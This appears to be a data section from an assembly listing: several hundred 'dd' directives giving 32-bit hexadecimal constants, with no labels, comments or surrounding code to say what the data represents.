dd 0D500BD22h, 0C6A137F7h, 0F16AE81h, 0D28D9C64h, 0FE286DC7h
dd 0DF376BE0h, 2C78F34Eh, 587CBC00h, 5184E0CDh, 16960293h
dd 8A608EEAh, 637A2444h, 0B009F580h, 0FD46000Ch, 5FEEA2F8h
dd 0E2002140h, 0D8A704E9h, 0F9B933Dh, 2A292D19h, 1D8B3A00h
dd 39750F38h, 9C551C3Bh, 0ED056897h, 0F0009D7Ch, 7588F166h
dd 80CB0094h, 0E1EF5676h, 3E000DF7h, 0F6D18F8Ah, 0D77AB9h
dd 0D87F919Fh, 9CB75D4Fh, 0B434081Fh, 0E01F6FCEh, 4E217B6Dh
dd 78CC0E89h, 1780ACAEh, 83F2990Bh, 0E7167916h, 71DC8F00h
dd 0EBB40D9h, 0E24818E8h, 0C107E980h, 0F107E5A5h, 0A7268A06h
dd 6A2D6C51h, 5CF0E8h, 0E97F82D4h, 9899E055h, 47454A09h
dd 695C80D6h, 979A402h, 0F4FE7015h, 73A53480h, 0F1023703h
dd 0EAD6603Fh, 3A68CCCEh, 469F7550h, 0AFF0412Ch, 80D0F9D5h
dd 3866BF58h, 78DA8h, 78DDF21Dh, 0BA6A650Ah, 1FF8151Ch
dd 71B2EAC0h, 0C95298h, 5F50E0E8h, 0F792D6B6h, 810D2905h
dd 0B6001B02h, 98143285h, 0B8E92442h, 8CE40074h, 0B5F24DEFh
dd 0F4754Ch, 2E3CD1A3h, 2B218Dh, 0E5A4D92Ch, 92B9D7BDh
dd 0C9E0CA39h, 4D3C0048h, 7FFA1DD3h, 0E7ED0078h, 0CF8A89Ah
dd 100A3ACh, 4D9B6032h, 3E9DF9FCh, 44813657h, 996A2461h
dd 0C848C627h, 49015B56h, 0AF0B1B43h, 61838FAEh, 1F3B2A12h
dd 0B85DEFC0h, 3AD93000h, 0EBAB5718h, 3B8981Dh, 0AA2FE5B5h
dd 117952F0h, 4C6C3000h, 0FDAB62B6h, 49D63AA0h, 2B64FF00h
dd 0E1E2CC98h, 0A4824300h, 0BC2936F4h, 0FCF10702h, 607C8C96h
dd 0CB222464h, 440038E4h, 3AFDA4DBh, 670F529h, 3DE0E219h
dd 133A68C0h, 4CEC2C7Bh, 8DC72A04h, 0B0A34D0h, 525E1C18h
dd 0EF904037h, 12C63123h, 30187450h, 0B38FA601h, 0C0162FEDh
dd 0B638C880h, 3AC864CFh, 0B7D0A462h, 37E37F6Fh, 0C92CF807h
dd 2A40EC16h, 0E999474h, 729E3431h, 37247F40h, 0B300D7F8h
dd 0E68DFC77h, 0FBC7A88h, 660B4CCBh, 0BD18FD03h, 0E01477E1h
dd 0B67164FBh, 0A0EE1A00h, 8B0327B9h, 0AD76008Ah, 2AE49F08h
dd 203B1271h, 6E007AC8h, 1BC6BD68h, 0F23734DCh, 0A36200F8h
dd 82C20AE5h, 35008519h, 5BA4537Eh, 310A6C8h, 83E3BF72h
dd 0D00B477Fh, 0A0E5293Bh, 59B864ECh, 9A5D00CDh, 0F2F02EBFh
dd 38C0A633h, 83E61F3Ah, 46B1404Fh, 0A4B8BC0Ch, 0F97F703Dh
dd 0C188C3C0h, 6F2FF121h, 1803605Ah, 0FAD48F0Eh, 21588C17h
dd 6F280048h, 0B7A3D8D5h, 0ED069187h, 49AF02BFh, 431020C8h
dd 13DBC0A3h, 0DDD1C818h, 1F40BAA9h, 0C02FC423h, 0B286AC73h
dd 0D5008868h, 0EEA42141h, 0D6B515FEh, 1DD0C0E8h, 0BB02C50Bh
dd 7A6502A3h, 0C8C380F5h, 0E28F10h, 212036CCh, 8163E39Ch
dd 98E93B0Eh, 0CE74603Dh, 755C1B5Bh, 84DA011Ah, 70F6BCA6h
dd 65E8EFB4h, 237391FDh, 8173DD00h, 3297E90Bh, 14400275h
dd 28254CC1h, 0C67AE881h, 8BEFD89Dh, 0ECA3DE03h, 0C0AEEAB0h
dd 7BE6B9h, 3992B3E5h, 4FF91BE9h, 0F600FCF0h, 0C00549F0h
dd 7F4EA1ECh, 43A21EC8h, 4A9540EFh, 0A76359BAh, 0B23B3E00h
dd 5E6131A1h, 85E8005Fh, 0A81B9C5Ch, 0F900122Bh, 0F2453CE2h
dd 34211ECh, 9BB551FEh, 24C84467h, 330050F0h, 987DAC3Ah
dd 5734CBh, 19D5F878h, 2F05185Dh, 0E55438h, 0AD9FFB28h
dd 7F838CA3h, 41200A1h, 0C4F40ED1h, 4F01A7DBh, 0FCE9D58h
dd 0B5CC7411h, 53766Fh, 7DB18B27h, 965E65EDh, 0AB529119h
dd 0F4DC1670h, 0B5BA0F0Ch, 9E61FCC2h, 0CCA52642h, 7D0397B8h
dd 9B51C129h, 0CB95B86Fh, 257A0060h, 80BC6CDDh, 0F078974h
dd 9D8A71D1h, 0C54F3120h, 0C34D007Ch, 348275F6h, 12708C92h
dd 17445A1Eh, 8D013A80h, 0F937BCh, 0A13CBF0Fh, 0AD6BC325h
dd 0F800D7ECh, 7BEF1840h, 181C3A98h, 0D07D923Bh, 0A37BE437h
dd 5D9FBD00h, 6439EB4Ch, 635B1857h, 6CDC30C8h, 894A4300h
dd 6887A93Ch, 0F1273F2Bh, 0E4F48183h, 59BA5B9Fh, 0A23690A0h
dd 4B6B8466h, 0B75811h, 1629C25Ah, 2C0BBE8Eh, 77EE9700h
dd 1A549EFEh, 0C4761513h, 5D01A094h, 0E5510AA1h, 0CA1080AEh
dd 578C6238h, 0E180C260h, 5000289Eh, 7BF0F4h, 8EDA3067h
dd 9DE0B017h, 0F929AF00h, 3C1F7D91h, 0E5310021h, 84537826h
dd 9A24CE75h, 0C6021CEEh, 0E0294A09h, 0C40BF99h, 12A7A646h
dd 55396DB8h, 3753B98h, 9EBB0423h, 0D436E8C6h, 9DDA0040h
dd 0B870CA4Eh, 7C07417Bh, 94E9EDAFh, 97B112h, 18AD04A6h
dd 0E43C100Eh, 13E7609Bh, 0EE91FCh, 68994B3h, 84C680D9h
dd 0C4F75E00h, 11F819AFh, 303417CCh, 18E133Ch, 0C8A5D007h
dd 216ED05Ah, 0B2A1FE07h, 0AF205B89h, 76880A0h, 0F1823437h
dd 8B97B06Bh, 18058FE9h, 23BC2F3Ah, 82516C82h, 633F0EC0h
dd 974BC8BFh, 9E8801C8h, 332C625h, 0C8E821C7h, 78052761h
dd 0EE12F5A9h, 8D358600h, 0FEFD1177h, 0CAD60390h, 0E0B63950h
dd 888AA400h, 6ADE84ACh, 0D6ACA1EDh, 2A02B422h, 2807FE55h
dd 9535E340h, 2E7E0FF4h, 4B060D1Dh, 46D5E680h, 26538B2h
dd 71F69920h, 0F0803F0Ah, 54C54B9Dh, 5227C600h, 3370A6D4h
dd 14500ACh, 0F19CCA69h, 0AA01B335h, 656EAB34h, 8FE46083h
dd 80C90FB6h, 63C0A0D2h, 38172E0Bh, 0CEE49600h, 0C8819453h
dd 7C30042h, 664F9FAFh, 7D000D0Ah, 0FBEE20D9h, 997916h
dd 0C2E1465Bh, 9FAAAC98h, 0AFE50400h, 35F01F37h, 0D6700E2h
dd 0E1307EAh, 1C6092CBh, 60888518h, 0E3B63D6Fh, 28F68180h
dd 9D9F502Bh, 238D4403h, 9FB0F0D3h, 0E13D80AEh, 7F890Bh
dd 545D77E8h, 6AC5D220h, 0E99AE4F5h, 5B747900h, 0EFE1AB59h
dd 0E0C30035h, 45A5CC42h, 1100251Dh, 268E9C8Ch, 3B84A6DFh
dd 89805AC7h, 7BBC7DF0h, 2900B1DDh, 8AB5653Ch, 3DAC9A48h
dd 58006DEh, 9E15C4E4h, 91011B4Ch, 54C2F0E5h, 14F07043h
dd 0B0E421h, 0E2051FEDh
dd 97DFCACEh, 0B2A04150h, 0C7403Dh, 85A4C3CBh, 2DAF0D1h
dd 0D6F87F21h, 0AC60C822h, 2A724FB6h, 6F057B03h, 0C80BA473h
dd 7311432h, 0F4D13A40h, 0FC37C095h, 80F07CD9h, 6D0081F2h
dd 0F0B4C82Ah, 1E210CEBh, 0A6A9968Ch, 0DDE0098h, 2BD29278h
dd 5A7AC2F6h, 0CE0C827Dh, 5921BD1Ah, 0FE5DFED5h, 7DEF006Dh
dd 5C8D5A72h, 0EA614933h, 0C532D399h, 436F8C7h, 0FD0B00BCh
dd 866E2C2Ah, 4F00A6A7h, 0D59930DAh, 8D7438h, 78928E26h
dd 8C504460h, 0F20194EEh, 0E5ED074Bh, 78807E81h, 6875CA16h
dd 4216CBA9h, 1F01352h, 0A66601D7h, 1CF94FB8h, 0F829F9CAh
dd 41761701h, 0A012FF00h, 44DC09CCh, 0EFEE04FBh, 80B7F8F3h
dd 255AF19Dh, 0D760A600h, 27B3A9B1h, 1920557h, 78B2695h
dd 0E0704F8Eh, 5003148Dh, 0D59C1206h, 4B9DC82h, 41A778B4h
dd 0A48F8153h, 807C202Bh, 0F506B216h, 87605600h, 1374707h
dd 19F71BCEh, 802C96FDh, 8177BB28h, 266435h, 18ABF62Eh
dd 0EF634A93h, 73C4FF07h, 758348A0h, 19300131h, 5BC97C18h
dd 9D4C209Bh, 2A103A00h, 0FEEAB42h, 6A140309h, 0DB40CFE3h
dd 4985D6B0h, 0B0909B12h, 75DE3800h, 0FE7DDCBh, 540FA12h
dd 0EBE41EA0h, 1502DCF4h, 2697B204h, 0B9A88162h, 0F040715Ch
dd 18C7E321h, 3917BAD6h, 39501965h, 44706BB8h, 17C2C48h
dd 0F9A2C142h, 0C7C4BC2Dh, 1A930178h, 46CE8141h, 0A83424F1h
dd 0B74FFD00h, 6BEF330Bh, 0B49A50F4h, 40FA65h, 0C0FDD8C4h
dd 3F6AF34Dh, 849E040Eh, 599B40B3h, 1FDA8F9Ch, 490F9F5Bh
dd 0B674A31Fh, 0D886BE01h, 2DF0CA5Eh, 6C2F2C5Bh, 5CBC07A0h
dd 958B30D2h, 0E40FC06Fh, 0C71006BFh, 0A9411298h, 13600903h
dd 0D872005Fh, 24D68287h, 8B035452h, 0BF4D30C3h, 0F2E4E05Bh
dd 15CAF2D9h, 0BC38C806h, 0E7929603h, 22A8D534h, 0A200D275h
dd 1288EFDEh, 3748E2h, 0E3052BADh, 977622FCh, 0B50063E8h
dd 6BE77040h, 0A4C7357h, 7D4FAF2Fh, 87D000F2h, 2874D163h
dd 961D3701h, 0F3A67F27h, 0EA2C18D0h, 3FDA00F5h, 79542658h
dd 0C8393411h, 4CF00085h, 598C5FC1h, 9D5E0C14h, 0F768415Ah
dd 56157200h, 71E27A94h, 5B61003Ah, 0EDD22534h, 380F500Ch
dd 0E0F388F8h, 0F66A130Eh, 14C301AFh, 0EC9C03C8h, 0CEB0F70Ch
dd 2A0E17D8h, 664B54h, 638CE01Dh, 0DC79D7h, 2969CAD2h
dd 77A37C93h, 300DDECh, 13AF59B2h, 0A60999h, 0C3A59CEDh
dd 0EA65FEBEh, 936A5300h, 998128D4h, 584D00C6h, 694657A9h
dd 41006CFAh, 6D7EF564h, 7C0979h, 8A538B67h, 84558561h
dd 639B171Ch, 22B21EC0h, 8AB072Ah, 98DB444Eh, 0A9338F00h
dd 1875767Fh, 81F39A24h, 0A1008D04h, 9B88BDAh, 2A79762Eh
dd 40109E24h, 0DC80EB91h, 485DE883h, 0A53CBD31h, 0B00F33Eh
dd 3FEBA90Dh, 1B00B561h, 0BE1E7F90h, 0F0A1C4F4h, 0FE1EAD6h
dd 572DA4EBh, 819186CCh, 987404ECh, 0E9A75F07h, 78CC5B2Ah
dd 3BE6E2C4h, 31805EA6h, 33B47FA1h, 40FB44C2h, 5FE51B68h
dd 205031D0h, 440F14C2h, 93001433h, 9DC681ACh, 0D1128738h
dd 0B90C05A2h, 84B0E6h, 0DAA3D657h, 0D2358C90h, 87E09703h
dd 0A04ADFC2h, 0CE7194h, 0D6EE0B76h, 85928891h, 6A8B7301h
dd 5717376Bh, 6CF0CFEBh, 0F20650D9h, 0F340FA9h, 0E3C040D8h
dd 0C4643D4Fh, 33A6C62Eh, 16C25400h, 1D0AA9Dh, 7598CC67h
dd 0E4EC64BCh, 7B004E72h, 512011D3h, 0D913E6h, 1A14E938h
dd 87FEA3Dh, 83F6410Ch, 0FC170810h, 0EE573A23h, 0F2CB2680h
dd 0F9202A1Bh, 1C330C3Bh, 4E070BE2h, 0C6B0AD9Ch, 597A58h
dd 0B199BA43h, 4B79B3C5h, 3826A977h, 7C008748h, 360D7DFFh
dd 1E350002h, 60165B49h, 0C9009421h, 0BC9F0C05h, 0AE8D76h
dd 0D6DEC114h, 0E6574AB7h, 0DFC0FF07h, 9870FE8Eh, 16AA39Fh
dd 0D68871ADh, 0ECBBAC1Ch, 1F702F1Eh, 0C3AA8700h, 0C8A5D9F6h
dd 9047030Bh, 11184DFAh, 0C0A669E9h, 99004FABh, 985C1427h
dd 40C9D2h, 87E54382h, 3880A0C7h, 0EFDC0A03h, 0D8BD4226h
dd 0F41568h, 59278AB2h, 60ECFFE7h, 0EF98E401h, 1C18A23Dh
dd 0EE70F8CBh, 0AC3003Eh, 2E312B50h, 1300624Bh, 5E853326h
dd 2C08A5h, 7AE43F3Ah, 9615FDD3h, 0AE4C1F3Eh, 3403184Fh
dd 0EF6BA2h, 2E3DAF98h, 0B9B7051Eh, 198C2535h, 0F50B2E80h
dd 0AD3D0E8Fh, 82E11AA2h, 7093662Fh, 772879CFh, 0FD30F832h
dd 6251608Dh, 0EE0A06F5h, 0A0C1716Dh, 4EF99100h, 56AD122Fh
dd 2A8912ABh, 80C501C7h, 3046178Ah, 4B00FB1Dh, 7B5A986Dh
dd 1EAC571Ah, 40C323A2h, 0D386347Fh, 0BC0E4A1Fh, 0BE855642h
dd 52AC482h, 588880C2h, 55F4E3h, 5CAE796Ah, 66CAF7BAh
dd 491D00Eh, 224AC7E1h, 0F343C727h, 0EC4DA092h, 0A2A5030Bh
dd 3C1F447Ah, 1391480Eh, 16BD4793h, 10CA4BF0h, 5F1006Bh
dd 0EDC8AF8Eh, 19009673h, 58AD8A04h, 2B1AF6h, 1C81F91Eh
dd 57C54CC2h, 2E23FFA0h, 0F5564500h, 0F2E75286h, 15750162h
dd 7E9F6BA1h, 0B99C4333h, 9663CC80h, 0B154C0C0h, 0FE18017Ah
dd 0EED0034h, 0FFE0CDC5h, 0EB004437h, 0A807CC08h, 158836Fh
dd 20FA1BBFh, 70B4556Eh, 7F30A4F3h, 81D2C869h, 604A008Bh
dd 0C1B3F9A9h, 90543BADh, 0D400B5ECh, 95DCBF15h, 0CE034E6h
dd 0F209B38Dh, 0C6003621h, 0EB7964DDh, 795CD938h, 0B05E18A2h
dd 65D66183h, 74628F00h, 3358F7D2h, 12E5195Ah, 9DF5D8FDh
dd 0B6C0F3C8h, 6328DA77h, 3D160084h, 213B8070h, 7F48DED5h
dd 0E62E067Fh, 0B59AB58h, 7417CD5Eh, 36AA1280h, 18C06204h
dd 0E143B5DCh, 2D73001Ch, 0FFAB63Ah, 0B1DDFB35h, 0B827AB8Eh
dd 0B13B81h, 0CA5FD87Dh, 0B87F74Eh, 98295413h, 0D5D7121Eh
dd 0DA6EE0h, 5EDD6423h, 4F26B0ABh, 1C8E148h, 5D47C7D7h
dd 0CBC43314h, 20EE302Dh, 0FBEAC188h, 97E97E0Eh, 2435E0B5h
dd 35674DFh, 42962CB9h, 1FD0C68Ch, 0BE02EAF4h, 6BBBEC0Bh
dd 0CED840A8h, 92510709h, 4EC4C3FAh, 25F040DEh, 0AF4506FFh
dd 0AC80B100h, 0C4CF141Fh, 6CC00012h, 71BFB89Bh, 3F1E4070h
dd 76C9978Ah, 0BDF18301h, 73BAC090h, 85D6004Bh, 223F5EB1h
dd 0BB00669Dh, 0A888C099h, 609A648h, 8AF1BC2Ah, 2900BCB7h
dd 752EEF32h, 1240252Dh, 79E26Fh, 6D9685E4h, 2700F928h
dd 0B15F99A5h, 39B47CD8h, 0F71CD46Ah, 69D4018h, 0C91EE724h
dd 15E88A00h, 62B77E54h, 0D7213B26h, 43305F1Dh, 4096E359h
dd 0F30D64D0h, 48783Ch, 0B8D7AB67h, 1FD0B1A0h, 4008B51Ah
dd 750B1E97h, 0E400CBACh, 2BB52E2h, 1C294348h, 0CA7BC33Dh
dd 90451Eh, 0B4035AF1h, 0DE01C7CAh, 6DCFA297h, 21AC0CD3h
dd 0C9E1FE5h, 44E0D78Eh, 18594D34h, 0BC29A5C0h, 9E54097Eh
dd 90A3F596h, 3A89FA22h, 0DF3A3047h, 4E3DA0C0h, 26B0F419h
dd 0F702301h, 654FA457h, 6C222CC1h, 0B45C2417h, 5ACEFD00h
dd 7C799ECCh, 905D7D0Ch, 0E9F9000Ch, 5F836478h, 0F0022211h
dd 7BFBA962h, 0AE9C044h, 0A76F0CF9h, 33882AFAh, 1FF66C00h
dd 0DCDEAE5Ah, 3E740E54h, 0B700E907h, 6D49CF0Bh, 44B88CF6h
dd 74DDD304h, 0E287D01Dh, 7DAE5C01h, 0A08987E8h, 0B83A9E84h
dd 0A0DA0016h, 1B1560FBh, 5C39EB3Eh, 0F08A3C84h, 0BEC4A207h
dd 1EC14C99h, 9FFD72E2h, 1259C0h, 0CAC22C27h, 1387A6DDh
dd 0CFACC00h, 2E5D91DEh, 36F21Ah, 3922F683h, 65B187AFh
dd 8238FD01h, 7DF83D6Dh
dd 40DA0C21h, 0FF09BBEh, 55B0448Dh, 89457AA1h, 0ED45706Bh
dd 0D092E04h, 548001DEh, 8414E8h, 0CD4F1B72h, 89FF94BEh
dd 8CFA800h, 0BFEDF309h, 0DBF705E0h, 7BC576h, 208162AEh
dd 75003EC4h, 9543F82Ch, 396D6E40h, 7100E06Ah, 0EDC7F727h
dd 2100CD90h, 942361E7h, 780DEC6Eh, 0E64F036Dh, 4831971Ah
dd 0ED3E3600h, 5DBA5980h, 7CF019h, 21EEE65Ah, 8C3CFD18h
dd 23E41B00h, 0BDED1A32h, 0F2CD0098h, 0E52084F5h, 0E30E8A47h
dd 27673002h, 53C045AEh, 3E952Ah, 0FBAD8604h, 2134A82h
dd 0FD3D8A2Eh, 5B89881Fh, 0DB038273h, 4312406Ah, 89CE00E4h
dd 81F43D66h, 19005342h, 237693CDh, 97493Fh, 62E06864h
dd 0BAF2B099h, 8D8A4304h, 88D0D4CEh, 0F76394h, 78779CAEh
dd 89864FBFh, 833AD000h, 17F4CB84h, 0EADF0258h, 0E8F16225h
dd 12EB8C60h, 1323500h, 0F8512E8Fh, 42450287h, 11252BD4h
dd 471660C0h, 247D973Ah, 9A160D59h, 71186C40h, 0EA95877h
dd 91CADF2Fh, 78B3F383h, 0C97C2078h, 64E64200h, 0CEA8A170h
dd 263A01B2h, 8AAC0D6Ch, 0A0B8417Eh, 0A1FACCFCh, 0EE0C1C01h
dd 0A9C9753Dh, 0ECA9420h, 4F7EF797h, 79E9D78Ch, 0F851F1EFh
dd 104B4B6Bh, 37BBF0h, 973FFCD7h, 778F7E79h, 1003B492h
dd 1204B94Fh, 8074E2B8h, 9997F80Ch, 0F7BF00B4h, 0F3016A61h
dd 0D0007C06h, 0CBBAD4Eh, 335937Fh, 53FC9678h, 30887DA2h
dd 600CEF2h, 0D2FE91F8h, 732B5F21h, 961300F0h, 0D448F4B9h
dd 52003525h, 0A22F5C71h, 133D59AEh, 0C01921h, 0A2E425Dh
dd 72008A29h, 78AF585Fh, 0E8A166EFh, 4B1E005Ch, 7531461Ch
dd 7F003C13h, 0A436B64Ch, 0EA73B5h, 2551C66Fh, 0FF92975Dh
dd 0E201D7F0h, 0F6E48FDEh, 0E09D760Dh, 5FA84CBCh, 6000A372h
dd 6BABF5BFh, 1B5FBACh, 0FCE5AA4Dh, 0E608B05Bh, 3E48860h
dd 0E651390Bh, 0E7A28109h, 1080230Eh, 6007C76Bh, 0F8032AC6h
dd 27C25094h, 403FB87Fh, 0E52E0193h, 3C317A22h, 171BE03Bh
dd 8C5A4Dh, 273351EFh, 7707971h, 76CF6613h, 6FC8F0A3h
dd 50021EF5h, 24AEB27Eh, 0C24CE811h, 13563D43h, 0FC5F2C80h
dd 0D7503BFAh, 0C0B3012Eh, 2368E901h, 70723A04h, 52EC9300h
dd 9F51A97Eh, 266AA55Ch, 99006A87h, 0E4852D80h, 0A7630EB3h
dd 6B00B8E2h, 55538220h, 258AA900h, 1A86F9CEh, 30E50C0Ch
dd 0F788AFDFh, 0FFF6D000h, 0A2AC7D74h, 7C664953h, 497C3500h
dd 926811E4h, 77B1DE01h, 0D00C0DF2h, 0F1ECF98Fh, 16BA9E60h
dd 85005BDFh, 0F214C26Fh, 2C2006h, 3D70A95Ah, 0B61395BCh
dd 0B06D9B3Ah, 2E6361FEh, 0C844CFFh, 3640118Fh, 4EF02439h
dd 0EC23F61Fh, 9B7000BBh, 5A49B3CDh, 0C5D230F8h, 0BCE2904Ah
dd 0B5094601h, 670CDB64h, 4450A4h, 17CCE64Dh, 0EB0B3D04h
dd 20A2D185h, 34C2D750h, 0FC7403CDh, 0EC57DEC1h, 367B28F0h
dd 0E97919F6h, 2C84A859h, 7316E863h, 0ED265100h, 0CC8A17Eh
dd 0A5942AF6h, 8EA0FA51h, 0DB0C53D5h, 19B2E115h, 447209E7h
dd 0C5854917h, 98F4C1B6h, 0FDF880CCh, 759AAFD4h, 0C5A80072h
dd 1C87C067h, 0D900C30Eh, 0D4DA9D98h, 0DDBB0Fh, 78C8F5F0h
dd 0A9835913h, 0ACB0E900h, 92610CDFh, 3CE53AD3h, 866B1800h
dd 8C555A3Dh, 6D563900h, 0B58BBDCCh, 0B036003Ch, 0B16E7E46h
dd 0C971078Fh, 428E7000h, 7A90595Fh, 4CBF3B51h, 0E9042587h
dd 0B93EB366h, 565D8BB8h, 2C00B1E4h, 0DB67B3Ah, 8E51A4h
dd 0BC65A009h, 2A27CB9Dh, 3088F48h, 0D86819FFh, 14E9210Dh
dd 7D4BC10Eh, 7558C555h, 63494C7Fh, 0B59C0088h, 0B196A43Dh
dd 10D60033h, 67E081BCh, 0A31522A0h, 0CCE38Fh, 1DBE73DBh
dd 19F1Eh, 0DEBB1F21h, 108B9304h, 49A67009h, 0C180A08Eh
dd 9A5FC2h, 877A4F14h, 32F057B0h, 3EFA603h, 0F8E63FD8h
dd 92C7CFh, 0DA5BB2A7h, 20C69BD3h, 218A6718h, 0B7C5E9h
dd 0D03E0727h, 322C5109h, 6DCA4400h, 8B4B0D7Ah, 97114815h
dd 0E0091754h, 0ACD20788h, 5005B0C7h, 383F9F5Bh, 0F8216803h
dd 0B027DC8Ch, 0F36DFEFh, 37DEEE5Fh, 450FA4E2h, 0F5F4D8E0h
dd 936B1D03h, 98E82262h, 0A065C1D1h, 0F2F249F4h, 0ED7E0021h
dd 0D67D3A13h, 9A3FE797h, 14743A32h, 0BCD2ABh, 46C2D9B3h
dd 0A00401h, 0BE225BEAh, 9BCE8B95h, 0D0B91225h, 26109886h
dd 0D077FBh, 402696DCh, 0A494EA02h, 0CD91D200h, 2C757F17h
dd 29077Bh, 0A4C14DF4h, 3A03FD06h, 0CB8BE4B8h, 0E0BE84h
dd 4FF3D0D8h, 0A8C93770h, 5AB0FA09h, 8B1868A3h, 0DDF0B3h
dd 37F7E76Eh, 41F81A8Fh, 0D92C9101h, 0D008D325h, 4CED8440h
dd 0E3B603ADh, 77A9996Ch, 0D56E7FA9h, 128828F4h, 3840B80Ah
dd 9320EE56h, 141F0312h, 0F36F1650h, 37A39000h, 849C4AE1h
dd 35FE09BAh, 28217C08h, 0EE919D2Eh, 0F6014448h, 6868E424h
dd 386C7900h, 573029h, 6696600Fh, 1E2F54E2h, 0D8A86A00h
dd 0BECC941h, 7C61E3Ah, 0ACBF3A08h, 545313h, 673E804h
dd 11C03F26h, 0C3C4FD7Bh, 0FCFE5C92h, 0F4E27100h, 26780314h
dd 3D75C603h, 2CEECD81h, 1EA331h, 7A27D055h, 7407C2A1h
dd 46B88707h, 0BAA99A30h, 5DAB7B2Ch, 1E311CC4h, 8140F3E0h
dd 0AF1332D1h, 0F0EC99FAh, 0A04B7EFDh, 1C8BE0h, 0BA360E6h
dd 0DAA5FF18h, 0A11E2900h, 5289F2DBh, 6D190028h, 20E658BFh
dd 0A250659Ah, 0CCA0F3B1h, 6800135Eh, 332896CFh, 60E30CE2h
dd 57A431E7h, 0A13F79E6h, 669B94D6h, 0FD4E03C8h, 0F8B7365Dh
dd 784DA9h, 1A1E768Dh, 0BD637A6Ch, 1CBAC817h, 3085D440h
dd 83224Fh, 612D25DBh, 62B6E49Dh, 4ABCD400h, 0C0CFF853h
dd 961200DEh, 0B3C8196Ch, 0C760AA4h, 7DE42A00h, 27EA7F24h
dd 0E54900E7h, 0F52E940Eh, 0F09E885Ah, 6F4CBA00h, 120527B9h
dd 0D20BCBB1h, 8C609964h, 167F4D5Ch, 9121F400h, 0DC6B4ADh
dd 23B900A1h, 0D68B0520h, 0FD00650Fh, 0EE9B59E0h, 106EA4Ah
dd 0A6AC241Dh, 0DC2303FEh, 0FAE47846h, 413E0900h, 0F2330CFBh
dd 2B0402EFh, 77290116h, 0F191EB80h, 0CE00105Fh, 6522DD48h
dd 7F8F1235h, 8F400B9h, 20298DC2h, 5D12E281h, 7C4038AEh
dd 0B11FDD94h, 1EF17680h, 0CF0247C1h, 7C05A50h, 0B411184Eh
dd 232A6100h, 1D2477A2h, 0F26D03A8h, 787D232h, 41845E8h
dd 74424300h, 7EB41208h, 44249478h, 1F9F08ABh, 643A3ACAh
dd 0D4525406h, 0B800894Fh, 3714D76Ch, 0F9167F97h, 6ED086D1h
dd 99952CFAh, 667E8AFCh, 0EEF4002Ch, 0EF1217B9h, 0F3001EE8h
dd 84297C3Ch, 42FB1CCh, 649996F8h, 4F1DC35Eh, 190BAD90h
dd 7E8E391Ch, 0A061A440h, 0DAB123Ah, 183EEB62h, 0B9F7E058h
dd 3CA8B268h, 0C5026201h, 119E9559h, 0D2DD4116h, 0C67ACAF6h
dd 7E20AC50h, 99CC0F18h, 0FAC2C62Fh, 0CC5236B2h, 4FDA5414h
dd 272005Ch, 7E7C7AA8h, 73600065h, 13151189h, 0D900A65Bh
dd 8E98D18Dh, 2E3DB37Ch, 7E06DA2h, 101863E6h, 91EAD7E5h
dd 0DC0057F6h, 44C455C0h, 1E3528C6h, 16A690h, 0FF8DB787h
dd 0A5003E40h, 0B18B880Bh, 0E98970h, 0CFF3C44Ch, 4235E654h
dd 0AA4360F5h, 0F2740E79h, 81410600h, 1334EEC2h, 3C6700C1h
dd 2188438Ah, 65005A22h, 0E92739C4h, 0E37D8EFh, 287B06E6h
dd 8021CEE5h, 2FED5ACAh, 26A32900h, 50013495h, 0F61B0096h
dd 0E27A52ECh, 4C008C75h, 0DE28DACCh, 98F0E738h, 0F65C04FCh
dd 0B0247234h, 454AAAA4h
dd 614A7807h, 5E2DF8E0h, 37F916FBh, 1E50004Ch, 4306EB4Eh
dd 0E1783979h, 0E31E8179h, 0F0567F20h, 0F7389800h, 0C7790Ch
dd 6CD0A31h, 0C42ABD14h, 0EA01EF00h, 8E608347h, 0B48F0080h
dd 85A0A339h, 41002F0Eh, 93313672h, 1594946h, 0DD4D2114h
dd 60DFFC23h, 0E42C5704h, 0FE038172h, 0BAEE9D5Eh, 87F44095h
dd 98C500AAh, 91C4C19Eh, 7300B4A1h, 9C90BBCh, 482A741Bh
dd 671DF6DAh, 1ED080EBh, 0B9458F2Eh, 0B1A28D09h, 0C04C4AF8h
dd 164DDC0h, 6FD7AF96h, 800C1299h, 441F0480h, 139532D5h
dd 257A5Ah, 3C5BE35Ch, 0D0583123h, 0EA00753Ch, 0E21B142Dh
dd 30553325h, 29408856h, 0D101A972h, 4FC67374h, 8FF85FFFh
dd 0F047003Ah, 2BD22C9Bh, 371FE0D8h, 42409F06h, 58041F5Ch
dd 44F800C4h, 0C8F5E692h, 7B0082E1h, 7A6F57D8h, 4C03552Fh
dd 3F008C97h, 350609CEh, 591C93BAh, 111F6DB8h, 0D7145844h
dd 0B422A4C7h, 89A0C037h, 96C1007Ch, 0D676BEACh, 6B007866h
dd 1D95AA23h, 0C08584h, 0ABCA88EAh, 0A2AC6476h, 0AC01E84Eh
dd 7F2720D3h, 965E1BC8h, 36093D38h, 755C4D86h, 0B6551400h
dd 67D4CFB9h, 81102090h, 802534C6h, 972DB211h, 31A29C76h
dd 39603B5Fh, 0E85C16FEh, 24430036h, 3DDA2F90h, 0CC00218Ch
dd 0E653A20Bh, 286B94FBh, 0EB41D1Bh, 5BDC7DB0h, 0D4E800B3h
dd 7621AFC4h, 808D0127h, 0FF934AE8h, 5FA77BBEh, 19A806h
dd 241181F6h, 7C68443h, 12D57A0Fh, 72948008h, 6F00C5ECh
dd 0BEE2DA67h, 1AC1B98h, 0E4DCD357h, 2B6290D1h, 0F39B5E0h
dd 8B8A87F2h, 0DD6EA560h, 260E2BF0h, 7851A471h, 3572E9Ch
dd 0A096ACEDh, 4CA8063Eh, 35008A5Fh, 83E6A33Ch, 1D4395h
dd 93C4B415h, 6459D0A6h, 0AC23A700h, 9ABC7BD2h, 6DED3DD9h
dd 5A33B880h, 79C8F24Ah, 35A84950h, 478D480Eh, 4E05605Ch
dd 0E4A063CCh, 33FA26FFh, 0BAB78090h, 0E28A0299h, 2B015500h
dd 0F3122F96h, 230B1615h, 54EF0069h, 6BD04613h, 1A8A3Dh
dd 2DD49597h, 13C9D22h, 0D69AFC15h, 0F4AC1223h, 0EE00433Dh
dd 5CA2AD0Bh, 482F5690h, 64024893h, 0CAF5C7F7h, 0EF3128C8h
dd 39EB060Bh, 8F08E8D5h, 164E07E8h, 0E07DBEA5h, 21C98D6Dh
dd 3D01A490h, 79FA4A54h, 20F08591h, 388A0345h, 0B96DD3AFh
dd 0DF08D0B5h, 0F217F5CAh, 0AC40D8E5h, 4CB2BB0h, 314004A9h
